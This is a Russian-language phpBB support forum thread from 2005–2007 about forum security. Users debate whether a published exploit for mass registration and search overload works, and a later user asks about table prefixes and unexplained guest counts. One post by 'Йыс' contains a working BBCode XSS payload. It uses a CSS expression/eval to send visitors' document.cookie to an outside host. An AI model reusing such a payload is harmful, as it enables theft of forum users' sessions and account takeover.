Защита в phpBB

**Mr. Anderson** 24.06.2005 13:07

Splurov
Ну "поисковый оверлоад" - это "классика жанра", а вот по поводу регистрации... или я туплю, или что, но я пока ничего не понял...

**VVVas** 24.06.2005 13:09

Splurov
Как-то у меня вызывает сомнения работоспособность работы этого експлоита.
1. как он обойдет вижуал конфирмейшн? Завяленная цель - регистрация любого количества пользователей.
2. насколько помню в 2.0.15 закрыт поиск в поле автор по символу * так что тоже сомнительно. Не сумел понять заявленную цель для search.php

И я бы не опасался кучи детских взломов по той причине, что малолетки не разбируться с тем что форум может стоять в другой папке, или например отсутсвует английский язык на форуме как у меня.

Скорее всего я не прав.

**VVVas** 26.06.2005 20:36

Вообщем как я и предполагал
http://www.phpbb.com/phpBB/viewtopic.ph ... 68#1637368

**gigli** 27.06.2005 3:45

VVVas, вопщем, сплойт рабочий, тока что протестил.
Всё действительно ужасно ((

1. как он обойдет вижуал конфирмейшн? Завяленная цель - регистрация любого количества пользователей.

Стоит далеко не у всех...

2. насколько помню в 2.0.15 закрыт поиск в поле автор по символу * так что тоже сомнительно. Не сумел понять заявленную цель для search.php

Вероятно, берет количеством запросов к скрипту.
Я могу ошибаться.

И я бы не опасался кучи детских взломов по той причине, что малолетки не разбируться с тем что форум может стоять в другой папке, или например отсутсвует английский язык на форуме как у меня.

А вот тут ты не прав, код сплойта хорошо читаемый. Любой дуралей все поправит под себя, что очень печально (((

**VVVas** 27.06.2005 7:30

gigli писал(а):А вот тут ты не прав, код сплойта хорошо читаемый. Любой дуралей все поправит под себя, что очень печально (((

Не будь такого высокого мнения об умственном развитии человечества...

gigli писал(а):Стоит далеко не у всех...

Ну это уже их гемморой, не включать его если всё делается в пару кликов и людей абсолютно не напрягает - верх чего-то там, ИМХО.

gigli писал(а):Вероятно, берет количеством запросов к скрипту.

Может и количеством но * запрещена голая, а слова меньше 3 символов тоже (читай ссылку на оффресурс). Хотя наверное возможно понапрягать форум кучей запросов.

**Nikel** 27.06.2005 15:45

gigli писал(а):Стоит далеко не у всех...

Ето их личные проблемы , у некоторых еще 2.0.6 стоит ...

gigli писал(а):Вероятно, берет количеством запросов к скрипту.
Я могу ошибаться.

От с етим согласен .

gigli писал(а):А вот тут ты не прав, код сплойта хорошо читаемый. Любой дуралей все поправит под себя, что очень печально (((

Ну ты сказал
90% взломов ето выпендреж детей , попавших на античат или вебхак и осуществляется ето все методом "копировать, вставить" .
А ежели тебя думает ломать смыслящий человек , то тут уже вопрос товоей компетенции .

**gigli** 28.06.2005 3:18

VVVas писал(а):Не будь такого высокого мнения об умственном развитии человечества...

Это тебя местные юзеры избаловали глупыми вопросами, иначе ты бы так не говорил.

Ну это уже их гемморой, не включать его если всё делается в пару кликов и людей абсолютно не напрягает - верх чего-то там, ИМХО.

Тут твоя правда.

Nikel писал(а):Ето их личные проблемы , у некоторых еще 2.0.6 стоит ...

И такое не редкость.

Nikel, у тебя там дальше на изоповом языке: что значит думать ломает, это вообще к чему было сказано?
В моей компетенции в случае сбоя или взлома оценить ущерб и все быстренько восстановить, а думает пускай лошадь, у нее голова больше...

**VVVas** 28.06.2005 8:30

gigli писал(а):Это тебя местные юзеры избаловали глупыми вопросами, иначе ты бы так не говорил.

Мое мнение основывается на пользователях 4 локалок (на форумах активных юзверей 2500, 1000, 400, 300). Хотя умные и интересные люди встречаются.

**Nikel** 28.06.2005 14:08

gigli писал(а):В моей компетенции в случае сбоя или взлома оценить ущерб и все быстренько восстановить, а думает пускай лошадь, у нее голова больше...

В твоей компетенции старатся использовать все средства для не допущения взлома .

gigli писал(а):И такое не редкость.

Ну так , что я доктор даунам не думающим о безопасности ?

**gigli** 28.06.2005 17:42

VVVas, да, весомый аргумент

Nikel писал(а):В твоей компетенции старатся использовать все средства для не допущения взлома .

Это всего лишь слова. Единственное средство недопущения взлома - не иметь то, что можно взломать.
Дальше про доктора, это ты хорошо ляпнул, только вот опять не понятно к чему. Даунам сайт не нужен, тем более форум.

**Йыс** 30.07.2005 12:37

Да...
[url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://allianse.h15.ru/sn/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'

**Палыч** 28.07.2007 23:31

scorpio
Процесс смены префикса описан в Документации
http://www.phpbbguru.net/docs/?id=10
Правда, писалось давно, там в списке пары таблиц не хватает (phpbb_confirm и phpbb_sessions_keys, они были добавлены позже)
Вероятно, вы просто не отредактировали файл config.php

**scorpio** 29.07.2007 13:48

Палыч!
У меня вчера чуть крыша не поехала, когда все накрылось медным тазом из-за этих смен префиксов...Эта статья,не знаю кто писал,недоработана. Конечно, я поменял все как там написано и confg.php тоже, но боже мой, разве так пишут статьи для чайников...потому что там кроме указанных таблиц еще море других от новых модов, например фотоальбом и прочие префиксы в таблицах новых модов конечно я не поменял, так каа думал, что достаточно сменить только те таблицы,которые указаны в статье..больше я такой ерундой заниматься не буду.
Плюс еще установил мод защиты от хакеров, CBACK Cracker Tracker , так это вообще ужас и кошмар, там 50 файлов 3 часа копировал вставлял, в результате он мне так встал, что там одни ошибки при работе на форуме были и к тому же он вообще админку снес куда то, а вместо этого свою ссылку на свой сайт вставил и все видят, что атак на форум 0, прямо првоцирует атакануть..ну да потом нашел на вашей коференции страниц 15 с проблемами по поводу этого мода и все снес куда подальше,зачем такие сложности...
Единственно, что я взял из той статьи полезного- 2 разных аккаунта для админа, то есть для админки и как участника и пароль поставил длинющиеи также поставил пароль на папку админа в каталоге ..а вообще не представляю что будет, когда кто нибудь все это хакнет,там столько уже вложили души и много материалов...
Но вот почему я стал все это делать, возможно вы можете это объяснить:
Вчера внизу было написано, что вчера в 12 дня было самое большое кол-во посетителей 48 ...тогда как никого там не было кроме меня, это были какие то гости и форум молодой, там вообще зарегено всего 40 человек, из них 8 ативных и не могло там быть 48 сразу, это нонсенс. Что это, Палыч, это хакеры???

**crash** 29.07.2007 13:57

scorpio писал(а):Эта статья,не знаю кто писал,недоработана

она доработана

Палыч писал(а):Правда, писалось давно, там в списке пары таблиц не хватает

scorpio писал(а):У меня вчера чуть крыша не поехала,

ну так нефиг было и менять префикс. Если вас захотят поломать, то они узнают и префикс и все остальное

**scorpio** 29.07.2007 14:03

а как могли быть одновременно 48 пользователей?Это хакеры?

Защита в phpBB

Кто сейчас на конференции